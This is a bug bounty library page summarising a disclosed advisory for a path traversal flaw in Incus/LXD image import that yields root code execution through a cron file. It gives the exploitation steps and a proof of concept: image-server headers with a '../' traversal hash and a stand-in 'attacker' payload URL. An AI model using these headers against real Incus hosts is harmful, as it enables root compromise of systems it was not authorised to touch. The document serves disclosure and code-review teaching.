# LXD has arbitrary file write on client due to trusted image hash

Incus/LXD trusts the Incus-Image-Hash header from an attacker image server, using it as a filepath so `../` traversal writes a root cron file for RCE.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-11-06
- CVE: CVE-2026-48769
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pjff-c2wc-f6jm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pjff-c2wc-f6jm
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Incus daemon image import (source.type=url) via /1.0/images
**Root cause:** The client uses the attacker-supplied Incus-Image-Hash header as the destination filename (fp defaults to the alias) and filepath.Join's it into the images dir without sanitizing `../`, creating the file before SHA-256 validation.
**Steps:**
1. Attacker serves a HEAD endpoint returning `Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce` and `Incus-Image-URL: http://attacker/payload`.
2. Victim triggers image import: `POST /1.0/images` with `{"source":{"type":"url","url":"http://attacker/stage"}}`.
3. Daemon HEADs the URL, reads the hash header, and sets `fp` to the alias string.
4. `destName := filepath.Join(destDir, fp)` resolves outside the images dir; `os.Create(destName)` writes the cron payload streamed from `/payload`.
5. Attacker holds the HTTP response open so cleanup (which runs only after copy returns) does not delete the file; cron executes the payload as root.
**How found:** Code review of the source.type=url path: noticed the hash header is passed as Alias/Server and used directly as the destination filename, and that SHA-256 validation happens only after os.Create/copy.
**Exploitation:** Attacker controls an image server reachable by the Incus daemon. On image import the daemon HEADs the URL, trusts the traversal hash, and streams the attacker's payload into /etc/cron.d/; holding the response open keeps the file alive until cron fires, yielding root command execution.
**Escalation:** Arbitrary file write as root escalated to command execution via a cron.d drop-in.
**Insight:** When a remote server supplies a 'hash' or 'fingerprint' that later becomes a filename, check whether it is validated as hex before filepath.Join — and whether cleanup runs before or after content validation, since a held response widens the write window.

## Proof of concept (copied exactly from the original report)

**Malicious image server headers with traversal hash**

```
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
```

## Write-ups of the same bug (oldest first)
- 2026-06-26: [Incus has an arbitrary file write on its client due to trusted image hash](https://bugbountylibrary.com/r/ghsa%3AGHSA-f6m5-xw2g-xc4x) — antifob
- 2026-11-06: [LXD has arbitrary file write on client due to trusted image hash](https://bugbountylibrary.com/r/ghsa%3AGHSA-pjff-c2wc-f6jm) — antifob (this one)

